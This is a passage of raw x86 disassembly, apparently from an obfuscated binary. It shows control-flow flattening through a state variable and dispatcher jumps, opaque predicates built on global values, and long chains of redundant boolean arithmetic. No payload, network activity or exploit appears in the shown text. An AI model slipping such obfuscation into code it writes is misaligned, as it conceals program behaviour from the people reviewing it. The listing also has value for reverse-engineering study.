and eax, 0x6b703b41
mov edi, 0xffffffff
xor edi, 0x6b703b41
mov esi, edi
and esi, 0x26f63a8f
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x6b703b41
and edx, edi
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x604245d6
mov ecx, edx
and ecx, 0x604245d6
and ebx, esi
mov dword [ebp - 0x837c0], ebx
mov ebx, edi
and ebx, 0x604245d6
and eax, esi
mov dword [ebp - 0x837bc], eax
mov eax, dword [ebp - 0x837c0]
or ecx, eax
mov eax, dword [ebp - 0x837bc]
or ebx, eax
mov eax, dword [ebp - 0x837b8]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x604245d6
and edx, esi
or ecx, edx
mov dword [ebp - 0x837ac], ecx
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0xfe8af306
mov edx, 0xffffffff
xor edx, 0xfe8af306
mov esi, eax
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xfe8af306
and edx, 0xffffffff
or ebx, esi
or ecx, edx
xor ebx, ecx
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or edx, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xd90bc6a9
or eax, edx
or ecx, 0xd90bc6a9
xor eax, 0xffffffff
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x18949fb2
mov edx, ecx
and edx, 0x18949fb2
and ebx, esi
mov dword [ebp - 0x837b4], ebx
mov ebx, edi
and ebx, 0x18949fb2
and eax, esi
mov dword [ebp - 0x837b0], eax
mov eax, dword [ebp - 0x837b4]
or edx, eax
mov eax, dword [ebp - 0x837b0]
or ebx, eax
mov eax, dword [ebp - 0x837ac]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x18949fb2
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
mov ecx, esi
and ecx, eax
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8309e], al
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor edi, edi
sub edi, 0x2b000a01
add edi, 0
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x8c098503
sub edx, 0x8f8463dd
add edx, 0x8c098503
sub edx, 0x97af6460
sub edx, 1
add edx, 0x97af6460
sub edx, 0x6e64d5dc
add edx, 0x8f8463dd
add edx, 0x6e64d5dc
add edx, 0xfba2ed4f
add edx, 0x5dde14ab
sub edx, 0xfba2ed4f
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2b000a01
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x5dde14ab
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl dl
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
xor al, 0xff
mov ah, dh
xor ah, al
and ah, dh
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x8378c], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov bl, dl
xor bl, 0xff
mov ah, bh
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov ch, 1
xor ch, 0
mov al, ah
xor al, ch
and al, ah
mov ch, 1
xor ch, 1
xor bh, 0xff
mov ah, 1
xor ah, 0
or ch, bh
or ah, 0
xor ch, 0xff
and ch, ah
mov ah, cl
and ah, bl
xor cl, bl
or ah, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and ah, bl
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ch, ah
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, bl
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov al, 1
xor al, 1
xor bl, 0xff
mov ah, 1
xor ah, 0
or al, bl
or ah, 0
xor al, 0xff
and al, ah
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x837a7], ah
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
and ah, 0xff
mov byte [ebp - 0x837a8], ah
and cl, bl
mov ah, bh
and ah, 0xff
and al, bl
mov byte [ebp - 0x837a6], al
mov al, byte [ebp - 0x837a8]
or al, cl
mov cl, byte [ebp - 0x837a7]
mov byte [ebp - 0x837a5], al
mov al, byte [ebp - 0x837a6]
or ah, al
mov al, byte [ebp - 0x837a5]
xor al, ah
mov ah, byte [ebp - 0x8378c]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov byte [ebp - 0x83787], al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ah, bl
mov cl, bh
xor cl, 0xff
and cl, 0xff
and bh, bl
mov bl, byte [ebp - 0x83787]
or al, ah
mov ah, byte [ebp - 0x8378c]
or cl, bh
xor al, cl
xor al, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x837a1], al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
mov ah, 1
xor ah, 0
and ah, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0x837a2], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
and al, dh
mov byte [ebp - 0x837a4], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x837a3], al
mov al, byte [ebp - 0x837a4]
and cl, dh
or bh, al
mov al, byte [ebp - 0x837a3]
or al, cl
mov cl, byte [ebp - 0x837a2]
xor bh, al
mov al, byte [ebp - 0x83787]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov dh, cl
and dh, 0
xor cl, 0
or dh, cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or ah, bh
or cl, bl
xor ah, cl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov byte [ebp - 0x8379f], cl
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
mov bl, ch
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0
and dh, bh
or cl, bl
or ah, dh
xor cl, ah
mov ah, ch
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
mov al, dl
and al, bh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bh
mov bh, byte [ebp - 0x837a1]
or bl, al
mov al, byte [ebp - 0x8379f]
or cl, ah
xor bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and bh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, bh
or dl, ah
xor cl, dl
mov byte [ebp - 0x83795], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 0
mov bh, 1
xor bh, 1
and bh, 0
and ah, 1
or cl, al
mov al, byte [ebp - 0x837a1]
or bh, ah
mov ah, byte [ebp - 0x83795]
xor cl, bh
mov byte [ebp - 0x83797], cl
xor ah, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 0
or ah, bh
mov bh, byte [ebp - 0x83797]
or cl, 0
xor ah, 0xff
and ah, cl
xor al, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x837a0], al
mov al, dl
xor al, 0xff
mov cl, 1
xor cl, 0
mov bh, 1
xor bh, 1
or al, cl
mov cl, byte [ebp - 0x837a0]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x8379f]
mov byte [ebp - 0x8379e], al
mov al, byte [ebp - 0x83797]
xor al, 0xff
xor bh, al
mov al, byte [ebp - 0x8379f]
and bh, al
mov al, byte [ebp - 0x8379e]
mov byte [ebp - 0x8379d], bh
mov bh, ah
and bh, cl
xor ah, cl
mov cl, byte [ebp - 0x8379d]
or bh, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x83799], ah
xor cl, 0xff
mov byte [ebp - 0x8379a], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x83798], cl
and ah, 0xff
and al, cl
mov cl, byte [ebp - 0x8379d]
mov byte [ebp - 0x8379c], al
mov al, byte [ebp - 0x8379a]
and al, 0xff
mov byte [ebp - 0x8379b], al
mov al, byte [ebp - 0x83798]
and cl, al
mov al, byte [ebp - 0x8379c]
or ah, al
mov al, byte [ebp - 0x8379b]
or al, cl
mov cl, byte [ebp - 0x8379a]
xor ah, al
mov al, byte [ebp - 0x83799]
or al, cl
mov cl, byte [ebp - 0x83798]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x83797]
or ah, al
mov byte [ebp - 0x83796], ah
mov al, bh
xor al, 0xff
and ah, al
mov al, byte [ebp - 0x83796]
xor al, 0xff
and bh, al
mov al, byte [ebp - 0x83795]
or ah, bh
mov byte [ebp - 0x83790], ah
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and bh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bh
or dl, ah
xor al, dl
mov byte [ebp - 0x83792], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83791], al
mov bh, 1
xor bh, 0
mov ah, dl
and ah, 0
mov al, bh
and al, 0
mov byte [ebp - 0x83794], al
mov al, byte [ebp - 0x83791]
and al, 0
mov byte [ebp - 0x83793], al
mov al, byte [ebp - 0x83794]
and cl, bh
or ah, al
mov al, byte [ebp - 0x83793]
or al, cl
mov cl, byte [ebp - 0x83792]
xor ah, al
mov al, byte [ebp - 0x83791]
or dl, al
mov al, byte [ebp - 0x83790]
xor dl, 0xff
or bh, 0
and dl, bh
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x8378d], dl
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and al, ah
mov byte [ebp - 0x8378f], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x8378e], al
mov al, byte [ebp - 0x8378f]
and cl, ah
or dl, al
mov al, byte [ebp - 0x8378e]
or al, cl
mov cl, byte [ebp - 0x8378d]
xor dl, al
mov al, byte [ebp - 0x8378c]
or cl, bh
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, dh
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 0
or cl, bh
or ah, 0
xor cl, 0xff
and cl, ah
mov bh, dh
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and dh, bl
or ah, dh
mov bh, cl
and bh, ah
xor cl, ah
or bh, cl
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or ah, cl
xor ah, 0xff
mov cl, bh
xor cl, ah
and cl, bh
mov dh, bh
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or dh, bh
or ah, bl
xor dh, ah
xor dh, 0xff
mov ah, dl
xor ah, dh
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, ch
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov dh, al
xor dh, 0xff
mov ah, ch
and ah, dh
xor ch, 0xff
and al, ch
or ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 1
or al, dh
or ah, 1
xor al, 0xff
and al, ah
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
and ah, 1
or dh, ah
mov bl, 1
xor bl, 0
mov ah, dh
xor ah, bl
and ah, dh
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x8378a], dh
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
and dh, 0
mov byte [ebp - 0x8378b], dh
and cl, bl
mov dh, bh
and dh, 0
and al, bl
mov byte [ebp - 0x83789], al
mov al, byte [ebp - 0x8378b]
or al, cl
mov cl, byte [ebp - 0x8378a]
mov byte [ebp - 0x83788], al
mov al, byte [ebp - 0x83789]
or dh, al
mov al, byte [ebp - 0x83788]
xor al, dh
mov dh, byte [ebp - 0x83787]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov cl, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov bh, 1
xor bh, 1
mov bl, bh
and bl, 1
mov al, dh
xor al, 0xff
and al, 0xff
and dh, bh
or ch, bl
or al, dh
xor ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov cl, ah
xor cl, 0xff
mov al, ch
and al, cl
xor ch, 0xff
mov cl, ah
and cl, ch
or al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa32d803f
mov ecx, 0xa510f057
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x48ee8284
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor esi, esi
sub esi, 0x55815db0
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x10f4081d
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xe1a60718
add edx, 0x55815db0
sub edx, 0xe1a60718
add edx, 0xeb1f9c5
sub edx, 0xb8375b4e
sub edx, 0xeb1f9c5
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0xb8375b4e
sub edx, esi
mov esi, 0xe2dea93
add esi, 0
sub esi, 0x10f4081d
sub esi, 0xe2dea93
sub edx, 0x87cb7ac9
add edx, esi
add edx, 0x87cb7ac9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl ah
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ch, dh
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov bl, ah
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, bl
or al, dl
xor ch, al
mov al, 1
xor al, 1
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or al, bh
or dl, bl
xor al, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov bl, dh
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov al, 1
xor al, 0
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x8382b], al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov cl, ah
and cl, bh
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x8382b]
or ch, bh
xor al, ch
xor al, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 0
or al, bh
or ch, 0
xor al, 0xff
and al, ch
xor ah, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or ah, bl
or ch, 0
xor ah, 0xff
and ah, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, ch
or al, cl
xor ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x892d289f
mov ecx, 0xc80d72cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x831dc]
mov dword [ebp - 0x8309c], eax
mov dword [ebp - 0x831e0], 0x2831f9ee
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor esi, esi
sub esi, 0xa4d7ec78
sub esi, ecx
add esi, 0xa4d7ec78
mov edi, 0xca926387
add edi, 0
sub edi, 0x9147793d
sub edi, 0xca926387
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
sub edx, 0xb82da939
sub edx, 0x253603e6
add edx, 0xb82da939
sub edx, 0x6ace9efe
sub edx, 1
add edx, 0x6ace9efe
sub edx, 0x9f087780
add edx, 0x253603e6
add edx, 0x9f087780
sub edx, 0xc268b54b
sub edx, 0x4cea2b6d
add edx, 0xc268b54b
sub edx, 0xbec6e1f5
sub edx, 0x9147793d
add edx, 0xbec6e1f5
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x4cea2b6d
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ah
mov byte [ebp - 0x83a26], ah
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dl, bl
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x83a18], al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or dl, bh
or ch, dh
xor dl, ch
mov ch, 1
xor ch, 0
mov bh, dl
xor bh, ch
and bh, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and bh, ch
mov byte [ebp - 0x83a28], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x83a27], al
mov al, byte [ebp - 0x83a28]
or ah, al
mov al, byte [ebp - 0x83a27]
or bh, al
mov al, byte [ebp - 0x83a26]
xor ah, bh
mov bh, byte [ebp - 0x83a18]
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov byte [ebp - 0x83a16], cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov dl, 1
xor dl, 0
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov byte [ebp - 0x83a09], ah
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and bh, dl
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, dl
mov dl, byte [ebp - 0x83a18]
or cl, bh
or ch, dh
xor cl, ch
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov ch, bl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, bl
or cl, dl
xor ch, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or bl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov dl, ch
and dl, bl
xor ch, bl
or dl, ch
mov bl, cl
and bl, 0
xor cl, 0
or bl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and dl, bh
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or cl, dl
mov dl, byte [ebp - 0x83a16]
or ch, bh
xor cl, ch
xor bl, 0xff
mov ch, cl
xor ch, bl
and ch, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
mov bl, dl
xor bl, 0xff
mov cl, bh
and cl, bl
xor bh, 0xff
mov bl, dl
and bl, bh
or cl, bl
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov byte [ebp - 0x83a25], bh
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov byte [ebp - 0x83a20], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x83a24], al
and cl, ah
mov al, bh
and al, 0xff
mov byte [ebp - 0x83a23], al
mov al, byte [ebp - 0x83a25]
and al, ah
mov byte [ebp - 0x83a22], al
mov al, byte [ebp - 0x83a24]
or al, cl
mov cl, byte [ebp - 0x83a23]
mov byte [ebp - 0x83a21], al
mov al, byte [ebp - 0x83a22]
or cl, al
mov al, byte [ebp - 0x83a21]
xor al, cl
mov cl, byte [ebp - 0x83a20]
or dl, bh
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov dl, cl
and dl, 0
xor cl, 0
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and al, ah
or cl, al
xor cl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov dl, ch
xor dl, 0xff
mov al, dh
xor al, dl
and al, dh
mov dl, dh
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bh
or dl, dh
or ah, ch
xor dl, ah
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, cl
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov byte [ebp - 0x83a17], dh
mov al, 1
xor al, 0
mov dl, ah
xor dl, al
and dl, ah
xor bl, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or bl, dh
or al, 1
xor bl, 0xff
and bl, al
mov dh, ch
xor dh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x83a1f], al
mov al, 1
xor al, 0
mov byte [ebp - 0x83a1e], al
mov al, byte [ebp - 0x83a1f]
or dh, al
mov al, byte [ebp - 0x83a1e]
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x83a17]
mov byte [ebp - 0x83a1d], dh
xor cl, 0xff
xor al, 0xff
mov dh, 1
xor dh, 1
or cl, al
mov al, byte [ebp - 0x83a1d]
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x83a19], bl
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x83a1a], dl
mov dl, 1
